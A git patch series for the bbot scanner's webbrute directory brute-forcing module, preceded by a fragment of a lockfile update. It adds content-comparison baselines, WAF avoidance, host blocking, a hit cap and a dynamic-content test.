- { url = "https://files.pythonhosted.org/packages/ca/81/b7ae6ccbd11f0c8dc3d5d67fc4be9b57ff57ca86ba56152021378e1277f2/ruff-0.15.16-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e4215bc938bc3c8215c1472c1aa437e310fee20cd427335fec9d7e609563628", size = 11255291, upload-time = "2026-06-04T16:32:49.49Z" }, - { url = "https://files.pythonhosted.org/packages/d9/e1/46e526f1a7cc90857ce6ddf25fbb77eb6568651ac38d71b033af07076dd5/ruff-0.15.16-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c8d26be963b090f10e29abc8b3e74a2a321f6fa34e02424e30b5af89350ecbb", size = 12124922, upload-time = "2026-06-04T16:33:07.821Z" }, - { url = "https://files.pythonhosted.org/packages/1a/da/5c791b088b596b24d0deb967fa28ae02ad751a140c0b9ea81c5ab915d6c0/ruff-0.15.16-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f198cf4123602a2280ed46c307bcbafe41758d6fee5b456b6b6058ca1514b3b4", size = 11332186, upload-time = "2026-06-04T16:33:02.971Z" }, - { url = "https://files.pythonhosted.org/packages/72/11/5da87abe20047c8962361473923ebb2f62b595250126aadfad8c20649c1e/ruff-0.15.16-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb27515fa6240fb586ae82b901a59e67d24acff86f2190b433dc542fe0435aeb", size = 11373541, upload-time = "2026-06-04T16:32:47.007Z" }, - { url = "https://files.pythonhosted.org/packages/fe/2a/8554754c23a854ae3fd6b507e36ad61ddb121e298c6d5d617dec94ed0f14/ruff-0.15.16-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a267c46ba1593fc26b8eecbea050b39d40c0b6bb7781ee11c90a02cd10032951", size = 11353014, upload-time = "2026-06-04T16:32:34.795Z" }, - { url = "https://files.pythonhosted.org/packages/62/25/62ea41529ec89f742ea3fed9cb1059c72877ec7cf9b9e99ac9cf3294d1d9/ruff-0.15.16-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:528c68f39a91498a8d50e91ff5985df3d105782bab49cc378e73ac26bff083e8", size = 10737467, upload-time = "2026-06-04T16:32:26.348Z" }, - { url = "https://files.pythonhosted.org/packages/90/17/334d3ad9de4d40f9dd58fdd09e35ce64553bb501e2f19a839e2fb6be14fc/ruff-0.15.16-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7ed55c58950df60589a9a7a5d2f8fa5f54ebd287163be805adfe6ee95a9de123", size = 10521910, upload-time = "2026-06-04T16:32:32.54Z" }, - { url = "https://files.pythonhosted.org/packages/4d/bd/3ac7c6ae77a885c1004b3dda2446ea401768d24f851c14b4ad4b24f6639c/ruff-0.15.16-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d482feaf51512b50f9790ceb417a56a61dd1e9d9bf967662b9ed27c01b34f53a", size = 10979190, upload-time = "2026-06-04T16:32:57.492Z" }, - { url = "https://files.pythonhosted.org/packages/33/d7/609546e6a413c3f216fbf2a50c928f97c80939154f6a0503114094a86191/ruff-0.15.16-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:1e15bc8c94513dae2a40cc9ef07c94fdd4ecc9e29dabebeebe170f952322c9e3", size = 11477014, upload-time = "2026-06-04T16:32:44.687Z" }, - { url = "https://files.pythonhosted.org/packages/74/0d/f2cd247ad32633a5c36e97141a2c21b11c6279f7957bc2ff360b1e08fddd/ruff-0.15.16-py3-none-win32.whl", hash = "sha256:580378f7bd4aa25f72e74aa54948a9622f142b1e509521dd10902e886681cc1e", size = 10735541, upload-time = "2026-06-04T16:32:30.145Z" }, - { url = "https://files.pythonhosted.org/packages/8b/9e/02e845ef151b1dee585e55c4739f8e1734ae1d9f1221dff65761c162208b/ruff-0.15.16-py3-none-win_amd64.whl", hash = "sha256:408256017284eddf98fff77b29aa4fb30f586042d535b2d9befc6512f400aaec", size = 11843403, upload-time = "2026-06-04T16:32:39.76Z" }, - { url = "https://files.pythonhosted.org/packages/15/19/016553f86f207450aebebc2b2b5088d086b901cc8186c02ac4284db3bd88/ruff-0.15.16-py3-none-win_arm64.whl", hash = "sha256:8cd61783afb39638a7133ef0d2dfb1e91277593962f81b5a8423eb0b888a6121", size = 11134555, upload-time = "2026-06-04T16:33:00.136Z" }, +version = "0.15.17" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/a9/3abdf488f1bf3d24c699415e454ed554a6350d5d89ce183be1ee0a3361ac/ruff-0.15.17.tar.gz", hash = "sha256:2ec446937fd16c8c4de2674a209cc5af64d9c6f17d21fbf1151054fa0bcf5219", size = 4743346, upload-time = "2026-06-11T17:54:47.663Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/4d/e11259f5da07cb6afb2d074c31bf09da9671993f7329d4f15d2fdc458301/ruff-0.15.17-py3-none-linux_armv6l.whl", hash = "sha256:d9feddb927fc68bd295f5eebc587a7e42cfaf9b65f60ca4a2386febff575da8f", size = 10856677, upload-time = "2026-06-11T17:54:49.533Z" }, + { url = "https://files.pythonhosted.org/packages/29/3e/772d679e1a0dc058e58875bd2c0cb713a0530877b4a76fee3c7966df0d49/ruff-0.15.17-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:25805a226d741c47d274a35ad5c10a7dde175fcddfa511d7cf3da0a21eb3eab7", size = 11223443, upload-time = "2026-06-11T17:55:00.573Z" }, + { url = "https://files.pythonhosted.org/packages/68/58/bd41f7688b2fd5623012605130ed70e60aa7f2244baa3d5066bdd61530c8/ruff-0.15.17-py3-none-macosx_11_0_arm64.whl", hash = "sha256:f6ad73b14c2d18a3bf8ad7cb6974294d7f613a7898604826058e6ac64918ef4d", size = 10566458, upload-time = "2026-06-11T17:55:07.52Z" }, + { url = "https://files.pythonhosted.org/packages/d8/5b/733371013fcf1ec339e477ece6ab42bfe10bdd9bba8ee88a9516aa56bfc0/ruff-0.15.17-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ba0c1e4f95bcb3869d0d30cbd5917071ef2e28665abfec970cdab0492c713ed", size = 10914483, upload-time = "2026-06-11T17:55:05.501Z" }, + { url = "https://files.pythonhosted.org/packages/bd/cc/6f24251cc0252f7239391ccb85833f320efad14ebe5b443943f37ced6332/ruff-0.15.17-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:81647960f10bff57d2e51cadd0c3950fe598400c852863a038720ef5b8cca91e", size = 10647497, upload-time = "2026-06-11T17:54:57.733Z" }, + { url = "https://files.pythonhosted.org/packages/68/dd/0d10c17ce1a1624d6fc3156309c3f834fdb5dfaad026ec90c85684f3990e/ruff-0.15.17-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e01a84ddbc8c16c23055ba3924476850f1bbc1917cebbb9376665a63e74260d", size = 11416967, upload-time = "2026-06-11T17:54:51.461Z" }, + { url = "https://files.pythonhosted.org/packages/2f/91/556bfb156f6144f355e831c23db00b2fc4120f86b3ce81cc5f7fd2df51f3/ruff-0.15.17-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84fe9f653152f8f294f9f7e03bf3a453d8b4a27f7a59c78c8666167f2b17b96c", size = 12335770, upload-time = "2026-06-11T17:54:45.793Z" }, + { url = "https://files.pythonhosted.org/packages/88/82/8b5999aa13355e926f06d9f42a32dcca862f623bf0363785ff89d607dffd/ruff-0.15.17-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c0fe88a7676e7a05b73174d4d4a59cb2ac21ff8263583f87a81a6018475a978", size = 11575441, upload-time = "2026-06-11T17:54:32.661Z" }, + { url = "https://files.pythonhosted.org/packages/11/93/f10377bb04109ca0e8cbc483ff1982c54b6d418210041776f93e8cdc7fa9/ruff-0.15.17-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecfc3c7878fff94633ab0348524e093f9ce3243080416dd7d14f8ba400174719", size = 11557614, upload-time = "2026-06-11T17:54:34.698Z" }, + { url = "https://files.pythonhosted.org/packages/c7/a6/eeeae7f7d5493df41649ab3db92f086b2d0a30199e4efdf8e3dd7a033f24/ruff-0.15.17-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:b8461180b22420b1bdc289909410930761629fddf2a5aaf60fae1ab26cedc4c4", size = 11544450, upload-time = "2026-06-11T17:54:39.042Z" }, + { url = "https://files.pythonhosted.org/packages/32/88/5991ce565129a24dd4a00db1254b3b5db2e53018cbe4018ea5a89738e727/ruff-0.15.17-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6eccbe50a038b503e7140b441aa9c7fc8c1f36edf23ebef9f4165c2f28f568b7", size = 10892524, upload-time = "2026-06-11T17:55:09.432Z" }, + { url = "https://files.pythonhosted.org/packages/f5/1d/0fdd248313425f55223968af04b0a42125466a8d88d21c1d99c6af0a51e8/ruff-0.15.17-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:382fc0521025f5a8ad447d8bdd523545d0d7646adb718eb1c2dac5065ec27c0f", size = 10659573, upload-time = "2026-06-11T17:54:36.824Z" }, + { url = "https://files.pythonhosted.org/packages/9e/0e/072e8260deb9461062ce9311ced27a8e541229a6ffd483013dd37661e43e/ruff-0.15.17-py3-none-musllinux_1_2_i686.whl", hash = "sha256:456d41fcd1b2777ad63f09a6e7121d43f7b688bbc76a800c10f7f8fb1f912c3f", size = 11127818, upload-time = "2026-06-11T17:55:03.124Z" }, + { url = "https://files.pythonhosted.org/packages/ab/b4/55060a34163121498014696b5f656db5b8c6963768f227dbf0d76b311073/ruff-0.15.17-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b1a04bcc94ae6194e9db05d16ad31f298a7194bfbcb08258bbe589cee1d587b8", size = 11655901, upload-time = "2026-06-11T17:54:53.562Z" }, + { url = "https://files.pythonhosted.org/packages/49/71/9b29d6b87cef468d697f43c6a91e3fae4a80185779d7d5a4ef27d173439f/ruff-0.15.17-py3-none-win32.whl", hash = "sha256:596065960ab1ff593f744220c9fe6580eda00a95003cffa9f4048bb5b1bf0392", size = 10925574, upload-time = "2026-06-11T17:54:55.723Z" }, + { url = "https://files.pythonhosted.org/packages/3d/b2/8fc77f3723228836fa5d12497eb71c808f83782e10d058d2b15cfa14640b/ruff-0.15.17-py3-none-win_amd64.whl", hash = "sha256:6769e5fa1710b179b92e0bfa5a51735b35baea9013dadb06d5f44cbcf9547084", size = 12058788, upload-time = "2026-06-11T17:54:41.042Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c7/c53e8dbff9c9dc4b7928773421ae294a5d28fcb8dcda1a089579d3a7e510/ruff-0.15.17-py3-none-win_arm64.whl", hash = "sha256:f3be1fbb34bcdfd146240d8fb92a709d4c2c8191348580a3c044ec60fa0b4456", size = 11355275, upload-time = "2026-06-11T17:54:43.635Z" }, ] [[package]] From 48a79c3d5b79b6fd1fa22e335ad0484e155c2bab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 15 Jun 2026 17:46:06 -0400 Subject: [PATCH 800/912] Clean up webbrute filter_event returns, document wildcard https-only tradeoff --- bbot/modules/base.py | 1 + bbot/modules/webbrute.py | 3 +-- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 86c3b1efe5..030afc27de 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -952,6 +952,7 @@ async def _is_http_wildcard_host(self, event): port = p.port or (443 if p.scheme == "https" else 80) scheme = p.scheme elif event.host: + # may miss HTTP-only wildcard hosts, but not worth doubling probe requests host = str(event.host) port = 443 scheme = "https" diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 9f522848ce..792d1faa72 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -100,8 +100,7 @@ async def handle_event(self, event): async def filter_event(self, event): if "endpoint" in event.tags: - self.debug(f"rejecting URL [{event.url}] because we don't fuzz endpoints") - return False + return False, "webbrute doesn't fuzz endpoints" if await self._is_http_wildcard_host(event) is True: return False, "host is an HTTP wildcard responder" return True From af9708672ed2d964e442f0ab6c81e7a74eba62b7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 02:02:10 -0400 Subject: [PATCH 801/912] Replace webbrute baseline with HttpCompare (DeepDiff) Replace the strict size/words/lines equality cascade in baseline_fuzz with HttpCompare, the same DeepDiff-based comparison used by paramminer, lightfuzz, bypass403, and wildcard detection. Fixes false-positive floods on hosts with dynamic content (CSRF tokens, timestamps, tracking IDs) that defeated the old cascade and fell through to status-only filtering. Also short-circuits extension iteration after the first host-level abort (WAF, connectivity, 429), saving redundant canary requests. --- bbot/modules/webbrute.py | 224 +++++------------- .../module_tests/test_module_webbrute.py | 46 ++++ 2 files changed, 108 insertions(+), 162 deletions(-) diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 792d1faa72..5510bba9ec 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -4,7 +4,9 @@ import blasthttp +from bbot.core.helpers.diff import HttpCompare from bbot.core.helpers.web.web import iter_batch_results +from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule from bbot.core.config.models import BaseModuleConfig, Field @@ -112,148 +114,65 @@ def _build_batch_headers(self): headers.append((hk, hv)) return headers - def _response_metrics(self, response): - """Extract metrics from a response for baseline comparison.""" - text = response.text or "" - return { - "status": response.status_code, - "length": len(response.content), - "words": len(text.split()), - "lines": text.count("\n") + 1, - } - - def _is_baseline_match(self, metrics, baseline_filter): - """Return True if the response matches the baseline (i.e. should be filtered OUT).""" - if baseline_filter.get("abort"): - return True - filter_type = baseline_filter.get("type", "status") - if filter_type == "not_status": - # Filter anything matching this status (e.g. 404) - return metrics["status"] == baseline_filter["status"] - elif filter_type == "status_and_size": - return metrics["status"] == baseline_filter["status"] and metrics["length"] == baseline_filter["size"] - elif filter_type == "status_and_words": - return metrics["status"] == baseline_filter["status"] and metrics["words"] == baseline_filter["words"] - elif filter_type == "status_and_lines": - return metrics["status"] == baseline_filter["status"] and metrics["lines"] == baseline_filter["lines"] - elif filter_type == "status_only": - return metrics["status"] == baseline_filter["status"] - return False + # Host-level abort reasons that apply to ALL extensions, not just the one that triggered them. + HOST_ABORT_REASONS = {"WAF_BLOCK_PAGE", "CONNECTIVITY_ISSUES", "BASELINE_CHANGED_CODES", "RECEIVED_429"} async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): if exts is None: exts = [""] filters = {} - headers = self._build_batch_headers() - proxy = self.scan.http_proxy or None + host_abort = None for ext in exts: - self.debug(f"running baseline for URL [{url}] with ext [{ext}]") + if host_abort is not None: + filters[ext] = host_abort + continue - # Generate 4 canary strings of increasing length and batch them - canary_configs = [] - canary_length = 4 - for _ in range(4): - canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(canary_length)) - canary_length += 2 - canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" - canary_configs.append( - blasthttp.BatchConfig( - canary_url, - headers=headers, - timeout=self.scan.http_timeout, - retries=0, - verify_certs=False, - follow_redirects=False, - proxy=proxy, - ) - ) + self.debug(f"running baseline for URL [{url}] with ext [{ext}]") - canary_results = [] - canary_waf_count = 0 - async for result in iter_batch_results( - self.blast_client.request_batch_stream(canary_configs, 4, rate_limit=self.rate) - ): - if result.success: - canary_results.append(self._response_metrics(result.response)) - if await self.helpers.yara.match(self.waf_yara_rules, result.response.body): - canary_waf_count += 1 - - # If all canary responses are WAF block pages, the WAF is blocking everything - if canary_waf_count == len(canary_results) and canary_waf_count > 0: - self.warning(f"All baseline requests for URL [{url}] ext [{ext}] returned WAF block pages, aborting.") - filters[ext] = {"abort": True, "reason": "WAF_BLOCK_PAGE"} - continue + canary_url_1 = f"{url}{prefix}{self.helpers.rand_string(8, digits=False)}{suffix}{ext}" + canary_url_2 = f"{url}{prefix}{self.helpers.rand_string(10, digits=False)}{suffix}{ext}" - # Check we got all 4 responses - if len(canary_results) != 4: - self.warning( - f"Could not attain baseline for URL [{url}] ext [{ext}] — only got {len(canary_results)}/4 responses. Possible connectivity issues." - ) - filters[ext] = {"abort": True, "reason": "CONNECTIVITY_ISSUES"} - continue + compare = HttpCompare( + canary_url_1, + self.helpers, + allow_redirects=False, + timeout=self.scan.http_timeout, + include_cache_buster=False, + baseline_url_2=canary_url_2, + ) - # If status codes differ across canaries, likely load balancing - statuses = {r["status"] for r in canary_results} - if len(statuses) != 1: - self.warning("Got different status codes for each baseline. This could indicate load balancing") - filters[ext] = {"abort": True, "reason": "BASELINE_CHANGED_CODES"} + try: + await compare._baseline() + except HttpCompareError as e: + self.warning(f"Could not establish baseline for URL [{url}] ext [{ext}]: {e}") + abort = {"abort": True, "reason": "CONNECTIVITY_ISSUES"} + filters[ext] = abort + host_abort = abort continue - baseline_status = canary_results[0]["status"] + baseline_status = compare.baseline.status_code - # All 404s — just look for anything not 404 - if baseline_status == 404: - self.debug("All baseline results were 404, filtering on status != 404") - filters[ext] = {"type": "not_status", "status": 404} + if await self.helpers.yara.match(self.waf_yara_rules, compare.baseline.content): + self.warning(f"Baseline for URL [{url}] ext [{ext}] returned WAF block page, aborting.") + abort = {"abort": True, "reason": "WAF_BLOCK_PAGE"} + filters[ext] = abort + host_abort = abort continue - # All 403s — possible WAF - if baseline_status == 403: - self.warning("All baseline requests received 403. A WAF may be actively blocking traffic.") - - # All 429s — rate limiting, abort if baseline_status == 429: self.warning( f"Received 429 (Too Many Requests) for URL [{url}]. A WAF or rate limiter is blocking requests, aborting." ) - filters[ext] = {"abort": True, "reason": "RECEIVED_429"} - continue - - # Try to find a stable metric for AND filtering - # 1. Same body size across all canaries - if len({r["length"] for r in canary_results}) == 1: - self.debug("All baseline results had the same body size, filtering on status + size") - filters[ext] = { - "type": "status_and_size", - "status": baseline_status, - "size": canary_results[0]["length"], - } - continue - - # 2. Same word count - if len({r["words"] for r in canary_results}) == 1: - self.debug("All baseline results had the same word count, filtering on status + words") - filters[ext] = { - "type": "status_and_words", - "status": baseline_status, - "words": canary_results[0]["words"], - } + abort = {"abort": True, "reason": "RECEIVED_429"} + filters[ext] = abort + host_abort = abort continue - # 3. Same line count - if len({r["lines"] for r in canary_results}) == 1: - self.debug("All baseline results had the same line count, filtering on status + lines") - filters[ext] = { - "type": "status_and_lines", - "status": baseline_status, - "lines": canary_results[0]["lines"], - } - continue + if baseline_status == 403: + self.warning("All baseline requests received 403. A WAF may be actively blocking traffic.") - # Nothing stable — fall back to status-only - self.debug("No stable baseline metric found, filtering on status only") - filters[ext] = {"type": "status_only", "status": baseline_status} + filters[ext] = {"compare": compare} return filters @@ -265,7 +184,6 @@ async def execute_fuzz( suffix="", exts=None, filters=None, - baseline=False, ): if exts is None: exts = [""] @@ -276,12 +194,16 @@ async def execute_fuzz( proxy = self.scan.http_proxy or None for ext in exts: - # Check for abort filter; default to filtering 404s if no filter provided - ext_filter = filters.get(ext, {"type": "not_status", "status": 404}) + ext_filter = filters.get(ext, {}) if ext_filter.get("abort"): self.warning(f"Skipping fuzz for ext [{ext}]: {ext_filter.get('reason', 'ABORT')}") continue + compare = ext_filter.get("compare") + if compare is None: + self.debug(f"No baseline for ext [{ext}], skipping") + continue + # Build batch configs for this extension configs = [] for word in words: @@ -303,11 +225,6 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") - # Fire all requests via native blasthttp batch (Rust concurrency). - # Stream results in completion order — canary detection and hit - # collection are order-independent (we only check `canary_found and - # hits` after the stream completes), so per-result work overlaps with - # in-flight HTTP I/O. canary_found = False hits = [] async for result in iter_batch_results( @@ -319,10 +236,10 @@ async def execute_fuzz( continue response = result.response - metrics = self._response_metrics(response) - # Check if this matches the baseline (should be filtered out) - if ext_filter and self._is_baseline_match(metrics, ext_filter): + # HttpCompare: empty diff_reasons = matches baseline = filter out + diff_reasons = compare._compare_sync(response, response.url) + if not diff_reasons: continue # Extract the word from the URL to check for canary @@ -337,8 +254,7 @@ async def execute_fuzz( canary_found = True continue - # Filter 3xx redirects to site root — these are soft 404s, - # not real findings (e.g. mod_userdir sending ~user to /) + # Filter 3xx redirects to site root if 300 <= response.status < 400: location = "" for hdr_name, hdr_val in response.headers.items(): @@ -349,47 +265,31 @@ async def execute_fuzz( self.debug(f"Filtering redirect-to-root hit: {response.url} -> {location}") continue - # Filter WAF block pages (can return any status code, including 200) + # Filter WAF block pages if await self.helpers.yara.match(self.waf_yara_rules, response.body): self.debug(f"Filtering WAF block page: {response.url}") continue hits.append({"url": response.url, "status": response.status}) - # If canary was found in results, the server is returning everything — abort if canary_found and hits: - self.debug("Found canary in results, all hits are likely false positives — aborting") + self.debug("Found canary in results, all hits are likely false positives -- aborting") return - # Mid-scan validation: one canary check per extension. - # Single request — use client.request() directly instead of a - # 1-config request_batch_stream loop (the streaming API only - # earns its keep with multiple in-flight requests). - if hits and not baseline and ext_filter: - canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) - canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" + # Mid-scan validation: does a fresh canary still match baseline? + if hits: + canary_url = f"{url}{prefix}{self.helpers.rand_string(8, digits=False)}{suffix}{ext}" try: - canary_response = await self.blast_client.request( - canary_url, - headers=headers, - timeout=self.scan.http_timeout, - retries=0, - verify_certs=False, - follow_redirects=False, - proxy=proxy, + match, reasons, _, _ = await compare.compare(canary_url) + except HttpCompareError: + match = False + reasons = ["error"] + if not match: + self.verbose( + f"Would have reported {len(hits)} hit(s), but mid-scan baseline check " + f"failed ({reasons}). Aborting the current run against [{url}]" ) - except Exception as e: - self.debug(f"Mid-scan canary request failed: {e}") - canary_response = None - if canary_response is not None: - canary_metrics = self._response_metrics(canary_response) - if not self._is_baseline_match(canary_metrics, ext_filter): - self.verbose( - f"Would have reported {len(hits)} hit(s), but mid-scan baseline check failed. " - "This could be due to a WAF turning on mid-scan." - ) - self.verbose(f"Aborting the current run against [{url}]") - return + return for hit in hits: yield hit diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py index c85bdd28e0..3a2ab630a1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py @@ -168,6 +168,52 @@ def check(self, module_test, events): assert len(waf_hits) == 0, f"webbrute should filter WAF block pages, but got: {[e.url for e in waf_hits]}" +class TestWebBruteDynamicContentFilter(ModuleTestBase): + """Server returns 200 with a per-request CSRF token for unknown paths. + Without HttpCompare, the baseline would fall through to status-only filtering + and report every 200 as a hit. HttpCompare should detect the token as a dynamic + position and filter it out, only reporting /admin (genuinely different content).""" + + targets = ["http://127.0.0.1:8888"] + module_name = "webbrute" + test_wordlist = ["admin", "junkword1", "zzzjunkword2"] + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}} + modules_overrides = ["webbrute", "http"] + + _counter = 0 + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + if uri.lstrip("/").startswith("admin"): + return Response("Admin Panel - Secret Content", status=200) + TestWebBruteDynamicContentFilter._counter += 1 + body = ( + "\n" + "Page Not Found\n" + "\n" + "

    The page you requested could not be found.

    \n" + f'\n' + "\n" + "" + ) + return Response(body, status=200) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"] + assert any("admin" in e.url for e in webbrute_urls), ( + f"webbrute should find /admin (genuinely different), but got: {[e.url for e in webbrute_urls]}" + ) + junk_hits = [e for e in webbrute_urls if "junkword" in e.url] + assert len(junk_hits) == 0, ( + f"webbrute should filter dynamic-content false positives, but got: {[e.url for e in junk_hits]}" + ) + + class TestWebBruteWildcardSkip(ModuleTestBase): """When the host is an HTTP wildcard, webbrute should skip fuzzing entirely.""" From 9be8cb7b87312e4e8b2969164553a380265f7339 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 10:32:37 -0400 Subject: [PATCH 802/912] Add webbrute defensive layers: WAF avoidance, host blocking, hit cap - avoid_wafs config (default true): skip WAF-tagged hosts in filter_event - Host-level timeout tracking: block hosts after 50 connection failures - sqrt-scaled hit cap: discard + block when hits exceed 4*sqrt(wordlist) - Add Connection header to HttpCompare ignore list (load-dependent noise) - Disable avoid_wafs in dirbust-heavy and kitchen-sink presets - Add tests for hit cap system (TestWebBruteHitCap) - Add webbrute docs page --- bbot/core/helpers/diff.py | 1 + bbot/modules/webbrute.py | 44 ++++- bbot/presets/kitchen-sink.yml | 2 + bbot/presets/web/dirbust-heavy.yml | 1 + .../module_tests/test_module_webbrute.py | 38 ++++ docs/modules/webbrute.md | 169 ++++++++++++++++++ 6 files changed, 254 insertions(+), 1 deletion(-) create mode 100644 docs/modules/webbrute.md diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 73634d40da..dc258307d6 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -127,6 +127,7 @@ async def _baseline(self): "date", "last-modified", "content-length", + "connection", "ETag", "X-Pad", "X-Backside-Transport", diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 5510bba9ec..77b1bdea32 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -35,6 +35,9 @@ class Config(BaseModuleConfig): ignore_case: bool = Field(False, description="Only put lowercase words into the wordlist") rate: int = Field(0, description="Maximum requests per second (0 = unlimited)") concurrency: int = Field(50, description="Number of concurrent requests per URL being fuzzed") + avoid_wafs: bool = Field( + True, description="Avoid running against confirmed WAFs, which are likely to block brute-force requests" + ) banned_characters = {" "} blacklist = ["images", "css", "image"] @@ -63,6 +66,8 @@ async def setup(self): f"Module rate limit ({self.rate} rps) is higher than global http_rate_limit ({global_rate} rps). " f"The more restrictive global setting will be used." ) + self._host_timeouts = {} + self._blocked_hosts = set() self.verbose(f"Generated dynamic wordlist with length [{str(words_len)}]") try: self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True) @@ -90,8 +95,9 @@ async def handle_event(self, event): for ext in self.extensions: exts.append(f".{ext}") + netloc = event.parsed_url.netloc filters = await self.baseline_fuzz(fixed_url, exts=exts) - async for r in self.execute_fuzz(self.words, fixed_url, exts=exts, filters=filters): + async for r in self.execute_fuzz(self.words, fixed_url, netloc, exts=exts, filters=filters): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -103,6 +109,11 @@ async def handle_event(self, event): async def filter_event(self, event): if "endpoint" in event.tags: return False, "webbrute doesn't fuzz endpoints" + if self.config.get("avoid_wafs", True) and "waf" in event.tags: + return False, "host is behind a WAF" + netloc = event.parsed_url.netloc + if netloc in self._blocked_hosts: + return False, f"host [{netloc}] is blocked" if await self._is_http_wildcard_host(event) is True: return False, "host is an HTTP wildcard responder" return True @@ -180,6 +191,7 @@ async def execute_fuzz( self, words, url, + netloc, prefix="", suffix="", exts=None, @@ -194,6 +206,10 @@ async def execute_fuzz( proxy = self.scan.http_proxy or None for ext in exts: + if netloc in self._blocked_hosts: + self.debug(f"Host [{netloc}] is blocked, skipping remaining extensions") + return + ext_filter = filters.get(ext, {}) if ext_filter.get("abort"): self.warning(f"Skipping fuzz for ext [{ext}]: {ext_filter.get('reason', 'ABORT')}") @@ -225,6 +241,16 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") + # Hits are collected before emission, gated by three false-positive defenses: + # 1. Canary: a random word is injected into the wordlist. If it "hits", + # the server is responding uniquely to everything, so all hits are junk. + # 2. Mid-scan baseline: after streaming, a fresh random URL is checked + # against the baseline. If it no longer matches, the server's behavior + # drifted during the scan (e.g. WAF kicked in), so hits are unreliable. + # 3. Hit cap: if the number of hits exceeds a sqrt-scaled threshold, + # something slipped past the baseline (e.g. the server returns subtly + # unique content per real word but not per random string). The host is + # blocked and all hits are discarded before emission. canary_found = False hits = [] async for result in iter_batch_results( @@ -233,6 +259,11 @@ async def execute_fuzz( if self.scan.stopping: return if not result.success: + self._host_timeouts[netloc] = self._host_timeouts.get(netloc, 0) + 1 + if self._host_timeouts[netloc] >= 50: + self.verbose(f"Host [{netloc}] has {self._host_timeouts[netloc]} timeouts, blocking host") + self._blocked_hosts.add(netloc) + return continue response = result.response @@ -291,6 +322,17 @@ async def execute_fuzz( ) return + # sqrt-scaled hit cap: ~28 at 50 words, ~40 at 100, ~126 at 1000, ~283 at 5000 + if len(words) >= 50: + hit_cap = int(4 * (len(words) ** 0.5)) + if len(hits) > hit_cap: + self.warning( + f"Discarding {len(hits)} hits for [{url}] ext [{ext}] " + f"(exceeds cap of {hit_cap}), likely a filtering failure. Blocking host." + ) + self._blocked_hosts.add(netloc) + return + for hit in hits: yield hit diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml index 6dcebea4f7..e53e902b7d 100644 --- a/bbot/presets/kitchen-sink.yml +++ b/bbot/presets/kitchen-sink.yml @@ -20,6 +20,8 @@ config: recursive_mutations: true dnscommonsrv: recursive_mutations: true + webbrute: + avoid_wafs: False wayback: urls: True parameters: True diff --git a/bbot/presets/web/dirbust-heavy.yml b/bbot/presets/web/dirbust-heavy.yml index 1e56a62b73..c9a21a3ad0 100644 --- a/bbot/presets/web/dirbust-heavy.yml +++ b/bbot/presets/web/dirbust-heavy.yml @@ -16,6 +16,7 @@ config: # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames detect_only: False webbrute: + 